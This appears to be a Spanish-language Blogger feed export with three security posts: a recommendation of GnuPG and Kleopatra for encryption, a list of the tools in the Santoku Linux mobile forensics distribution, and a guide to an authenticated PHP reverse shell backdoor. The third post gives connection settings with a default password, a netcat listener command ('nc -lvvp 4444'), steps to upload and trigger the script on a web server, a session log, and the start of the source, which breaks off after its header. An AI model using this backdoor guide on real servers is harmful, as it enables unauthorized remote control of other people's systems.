&lt;b&gt;GNU Privacy Guard&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Esta es una herramienta de cifrado y firmas digitales, que viene a ser un reemplazo del &lt;b&gt;PGP &lt;/b&gt;(Pretty Good Privacy) pero con la principal diferencia que es software libre licenciado bajo la GPL. GPG utiliza el estándar del IETF(Internet Engineering Task Force) denominado OpenPGP.&lt;br /&gt;
del cual ya hemos hablado en otra ocasión pero específicamente de &lt;b&gt;GPG4win &lt;/b&gt;en &lt;b&gt;&lt;a href=&quot;http://antoniojorz.blogspot.com/2015/03/cifrado-de-correos-en-thunderbird.html&quot; target=&quot;_blank&quot;&gt;Enigmail+ThunderBird&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;
Un proyecto de código abierto que puede ayudarle a cifrar sus correos electrónicos y archivos directament, el &lt;b&gt;GNU Privacy Guard&lt;/b&gt; para &lt;b&gt;Windows&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;https://www.gnupg.org/&quot;&gt;https://www.gnupg.org/&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWVDTQ2S-51LfmxU6tf2_ItvpYFTT04I2NfnKovSn8LpmK_8ezzQ14xpn8aDijhAYaJhL4uyWaMn1ClF1rwAi1T67SoLMRDTvPGOhAmWrqDoBxTbEV_jqag-bWDl_q9nt2AtTKqVaHGxw/s1600/kmail2-kleopatra.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWVDTQ2S-51LfmxU6tf2_ItvpYFTT04I2NfnKovSn8LpmK_8ezzQ14xpn8aDijhAYaJhL4uyWaMn1ClF1rwAi1T67SoLMRDTvPGOhAmWrqDoBxTbEV_jqag-bWDl_q9nt2AtTKqVaHGxw/s1600/kmail2-kleopatra.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;KLEOPATRA&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Es la herramienta de KDE para manejar certificados X 509 y OpenPGP y almacenes de certificados GPG y para recuperar certificados de servidores LDAP y otros servidores de certificados.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Tambien sirve para cifrar los correos electrónicos enviados desde el gestor Kmail. Pero lo que realmente nos interesa es la utilidad de esta aplicación, que permite cifrar y proteger nuestros documentos con un solo click.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.kde.org/images/screenshots/resized/kleopatra.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;392&quot; src=&quot;https://www.kde.org/images/screenshots/resized/kleopatra.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La función principal de &lt;b&gt;Kleopatra &lt;/b&gt;es mostrar y editar el contenido de la caja de claves local, que es similar al concepto de los anillos de claves de &lt;b&gt;GPG&lt;/b&gt;, aunque no se ajuste demasiado a esta analogía.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Puede econtrar el &lt;b&gt;Tutorial&lt;/b&gt; completamente en español de &lt;b&gt;&lt;a href=&quot;https://docs.kde.org/stable/es/kdepim/kleopatra/kleopatra.pdf&quot; target=&quot;_blank&quot;&gt;Kleopatra&lt;/a&gt;&amp;nbsp;&lt;/b&gt;en la web de &lt;b&gt;&lt;a href=&quot;https://docs.kde.org/stable/es/kdepim/kleopatra/kleopatra.pdf&quot; target=&quot;_blank&quot;&gt;KDE&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/7668209447859556725/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/la-mejor-combinacion-dlp-gnu.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7668209447859556725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7668209447859556725'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/la-mejor-combinacion-dlp-gnu.html' title='La mejor Combinacion de Cifrado GNU'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5bT77CcUDnGcs-ChuP4bc1jpiz7GwvMnOQ2gHyObVkolAaTcbXBaOnIgkKFU9KgIVUGR9lzi6UJVJrmYGt8joC19eO8HLIZLuTmxDX2h6zM2BBmp9PhfhsH9HSvTSKWyydee8Gtc1oE/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-6680333793042031995</id><published>2015-03-10T13:38:00.002-05:00</published><updated>2015-03-10T13:38:49.880-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis de malware"/><category scheme="http://www.blogger.com/atom/ns#" term="analisis forense"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mobile forensic"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="santoku"/><title type='text'>Santoku Linux - una Distro enfocada a dispositivos móviles </title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://caminhandolivre.files.wordpress.com/2012/08/action-santoku-logo.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://caminhandolivre.files.wordpress.com/2012/08/action-santoku-logo.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Mobile Forensics, Análisis de Malware y Pentesting&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
Es muy conocido que existen miles de distro para propósitos de seguridad y se multiplican como conejos por su gran versatilidad y facilidad para montar rápidamente laboratorios de pruebas.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sin embargo esta distro me ha llamado algo la atención no es una mas de las demas conocidas ya que esta tiene como focus los dispositivos moviles una tecnología que ha tomado mucho auge en nuestro ámbito. la distro contiene una gran cantidad de herramientas O&lt;b&gt;pen Source&lt;/b&gt; para facilitarnos en tres trabajos, Análisis Forense a dispositivos móviles, &amp;nbsp;análisis de malware y pentesting. todo esto centrado a las plataformas móviles como Android, iOS y Windows Phone.&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Contenido&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Estas son algunas de las herramientas que podemos encontrar en la distro.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Herramientas de desarrollo:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Android SDK Manager&lt;/li&gt;
&lt;li&gt;DroidBox&lt;/li&gt;
&lt;li&gt;Eclipse IDE&lt;/li&gt;
&lt;li&gt;AXMLPrinter2&lt;/li&gt;
&lt;li&gt;Fastboot&lt;/li&gt;
&lt;li&gt;Heimdall&lt;/li&gt;
&lt;li&gt;SBF Flash&lt;/li&gt;
&lt;li&gt;BlackBerry JDE&lt;/li&gt;
&lt;li&gt;BlackBerry Tablet OS SDK&lt;/li&gt;
&lt;li&gt;BlackBerry Ripple&lt;/li&gt;
&lt;li&gt;BlackBerry WebWorks&lt;/li&gt;
&lt;li&gt;Windows Phone SDK&lt;/li&gt;
&lt;li&gt;SecurityCompass Lab Server (HTTP y HTTPS)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Analizadores Wireless&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Chaosreader&lt;/li&gt;
&lt;li&gt;dnschef&lt;/li&gt;
&lt;li&gt;DSniff&lt;/li&gt;
&lt;li&gt;TCPDUMP&lt;/li&gt;
&lt;li&gt;Wireshark&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Ingeniería inversa:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Androguard&lt;/li&gt;
&lt;li&gt;Antilvl&lt;/li&gt;
&lt;li&gt;APK Tool&lt;/li&gt;
&lt;li&gt;Baksmali&lt;/li&gt;
&lt;li&gt;Dex2Jar&lt;/li&gt;
&lt;li&gt;Jasmin&lt;/li&gt;
&lt;li&gt;JD-GUI&lt;/li&gt;
&lt;li&gt;Mercury&lt;/li&gt;
&lt;li&gt;Radare2&lt;/li&gt;
&lt;li&gt;Smali&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Herramientas forenses:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;AFLogical Open Source Edition&lt;/li&gt;
&lt;li&gt;Android Brute Force Encryption&lt;/li&gt;
&lt;li&gt;ExifTool&lt;/li&gt;
&lt;li&gt;iPhone Backup Analyzer&lt;/li&gt;
&lt;li&gt;libimobiledevice&lt;/li&gt;
&lt;li&gt;scalpel&lt;/li&gt;
&lt;li&gt;Sleuth Kit&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Pruebas de Penetración:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Burp Suite&lt;/li&gt;
&lt;li&gt;Ettercap&lt;/li&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;SSL Strip&lt;/li&gt;
&lt;li&gt;w3af&lt;/li&gt;
&lt;li&gt;ZAP&lt;/li&gt;
&lt;li&gt;Zenmap&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Infraestructura móvil:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;BES Express&lt;/li&gt;
&lt;li&gt;Google Mobile Management&lt;/li&gt;
&lt;li&gt;iPhone Configuration Tool&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
En el &lt;a href=&quot;https://santoku-linux.com/blog&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;blog oficial&lt;/b&gt;&lt;/a&gt;&amp;nbsp; y &lt;b&gt;&lt;a href=&quot;https://santoku-linux.com/howtos&quot; target=&quot;_blank&quot;&gt;How To&lt;/a&gt;&amp;nbsp;&lt;/b&gt;de la distro podrá encontrar unos buena documentación (Ingles) en el uso de las herramientas bajo la distro.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://santoku-linux.com/download&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB31JcK8sOQ7HfLgyzIrx_fW_-4ipvS3N9gM-V7XZUHifsdF_K2w08YBG_6FVfvOvKHGmgaayTsBYdzNyI3s3zZYJHLhnsuZLLYLEYZIWYR334xn-HMYkGT7AfWU8wgpUDpUNDZALCreQ/s1600/download.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/6680333793042031995/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/santoku-linux-una-distro-enfocada.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6680333793042031995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6680333793042031995'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/santoku-linux-una-distro-enfocada.html' title='Santoku Linux - una Distro enfocada a dispositivos móviles '/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB31JcK8sOQ7HfLgyzIrx_fW_-4ipvS3N9gM-V7XZUHifsdF_K2w08YBG_6FVfvOvKHGmgaayTsBYdzNyI3s3zZYJHLhnsuZLLYLEYZIWYR334xn-HMYkGT7AfWU8wgpUDpUNDZALCreQ/s72-c/download.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-4546167789594030180</id><published>2015-03-09T11:29:00.000-05:00</published><updated>2015-03-09T11:29:41.914-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Script"/><category scheme="http://www.blogger.com/atom/ns#" term="shell"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><title type='text'>PHP Shell Inversa v1.0 - Autenticación de funciones.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://hacksys.vfreaks.com/wp-content/uploads/2012/10/konsole177x177.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://hacksys.vfreaks.com/wp-content/uploads/2012/10/konsole177x177.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Esta herramienta está diseñada para situaciones en la que un pentester tiene acceso a un servidor web que ejecuta PHPy requiere de una S&lt;b&gt;hell &lt;/b&gt;para trabajos de &lt;b&gt;Ethical Hacking&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Este &lt;b&gt;Script &lt;/b&gt;se debe subir en algún lugar de la raíz &amp;nbsp;del sitio web, después ejecutarlo accediendo a la URL correspondiente en su navegador. La Shell se abrirá bajo una conexión TCP desde el servidor web a un host y el puerto definido en el guión.&lt;br /&gt;
&lt;br /&gt;
Esta &lt;b&gt;Shell&amp;nbsp;&lt;/b&gt;es adecuada para que se puedan ejecutar programas interactivos como &lt;b&gt;Telnet&lt;/b&gt; y &lt;b&gt;SSH&lt;/b&gt;.&lt;br /&gt;
Esta &lt;b&gt;Shell&lt;/b&gt;&amp;nbsp;tiene una función de autenticación incorporada que evita que otra persona abuse de su &lt;b&gt;Backdoor&lt;/b&gt;.&lt;br /&gt;
Se diferencia de las demas &lt;b&gt;Shell&lt;/b&gt;&amp;nbsp;de formulario de autenticacion basado en Web que le permite enviar un solo comando,&lt;br /&gt;
&lt;div&gt;
&lt;h2 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; color: #2d2d2d; font-family: &#39;Concert One&#39;, arial, sans-serif; line-height: 1em; margin: 0px; outline: 0px; padding: 0px 0px 5px; vertical-align: baseline;&quot;&gt;
&lt;span style=&quot;font-family: Nova Square, arial, sans-serif; font-size: large;&quot;&gt;Modificación&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Nova Square&#39;, arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;de&amp;nbsp;conexión&amp;nbsp;en el Cod.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1
2
3&lt;/span&gt;&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;$ip = &quot;127.0.0.1&quot;; #Cambie esto a su IP &lt;/span&gt;
&lt;span style=&quot;color: #d0d0d0;&quot;&gt;$puerto = 4444;      #Cambie esto a su puerto&lt;/span&gt;
&lt;span style=&quot;color: #d0d0d0;&quot;&gt;$contraseña = base64_decode(&quot;aGFja3N5c3RlYW0=&quot;); #Contraseña por defecto: hacksysteam (MD5)&lt;/span&gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Cambie los valores según su necesidad y situación&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; margin: 0px; outline: 0px; padding: 0px 0px 5px; vertical-align: baseline;&quot;&gt;
&lt;span style=&quot;color: #2d2d2d; font-family: &#39;Nova Square&#39;, arial, sans-serif; font-size: large; line-height: 24px;&quot;&gt;Configuración&amp;nbsp;de NetCat Receptor:&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Inicie un receptor &lt;b&gt;Netcat&lt;/b&gt; en un host y el puerto que será accesible por el servidor web.&lt;/div&gt;
&lt;div&gt;
Utilice el mismo puerto en este momento según lo especificado en el script de shell inversa, por ejemplo, (&lt;b&gt;4444&lt;/b&gt;):&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #d0d0d0; font-size: large;&quot;&gt;C:\Users\Antony\netcat&amp;amp;amp;gt;:~ # nc -lvvp 4444&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Subir el Script y Ejecutarlo:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Subir el Script de Shell Inversa. Ejecute el script simplemente buscando el archivo recién cargado en su navegador web.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #d0d0d0;&quot;&gt;http:/&amp;lt;IP&amp;gt;/&amp;lt;RUTA/&amp;lt;Script&amp;gt;.php&lt;/span&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Nota&lt;/span&gt;&lt;/b&gt;: No verá ninguna salida en la página web, si esta tiene activada (&lt;b&gt;display errors) &lt;/b&gt;puede que muestre algun warning o error y la pagina queda en un lapso de espera,&amp;nbsp;de ser asi haga caso omiso y revise su &lt;b&gt;NetCat Listener.&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
En el encontrara la captura del login del script, digite la contraseña configurada para ingresar a la &lt;b&gt;Shell&lt;/b&gt;:&lt;br /&gt;
&lt;div style=&quot;text-align: start;&quot;&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; font-family: &#39;Nova Square&#39;, arial, sans-serif; font-size: 1.2em; line-height: 24px; outline: 0px; padding: 0px 0px 10px; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt; 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;C:\Users\Antony\netcat&amp;gt;nc -lvvp 4444&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;listening on [any] 4444 ...&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;connect to [127.0.0.1] from localhost127.0.0.1 [127.0.0.1] 4077&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt; _    _            _     _____&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;| |  | |          | |   / ____|&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;| |__| | __ _  ___| | _| (___  _   _ ___&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;|  __  |/ _` |/ __| |/ /\___ \| | | / __|&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;| |  | | (_| | (__|   &amp;lt; ____) | |_| \__ \&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;|_|  |_|\__,_|\___|_|\_\_____/ \__, |___/&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; _______                        __/ |&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;|__   __|                      |___/&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   | | ___  __ _ _ __ ___&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   | |/ _ \/ _` | &#39;_ ` _ \&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   | |  __/ (_| | | | | | |&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   |_|\___|\__,_|_| |_| |_|&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;    Reverse Shell in PHP&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;    Author: Ashfaq Ansari&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;   hacksysteam@hotmail.com&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; http://hacksys.vfreaks.com/&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Enter Password: hacksysteam&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Authentication Successfull..&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;System Information:&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Current Working Directory:&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;User Group:&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Current Date and Time: La fecha actual es: 09/03/2015&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Escriba la nueva fecha: (dd-mm-aa)&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;@127.0.0.1:~#&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;Fuente de la Shell Inversa&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cd2828; font-weight: bold;&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;###################################################&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#               Reverse Shell v1.0                #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#             Authentication Feature              #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#                                                 #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#            Hacksys Team - Panthera              #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#             Author: Ashfaq Ansari               #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#            hacksysteam@hotmail.com              #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#          http://hacksys.vfreaks.com             #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#              Designed for Linux                 #&lt;/span&gt;
&lt;span style=&quot;color: #999999; font-style: italic;&quot;&gt;#             Thanks to lionaneesh                #&lt;/span&gt;
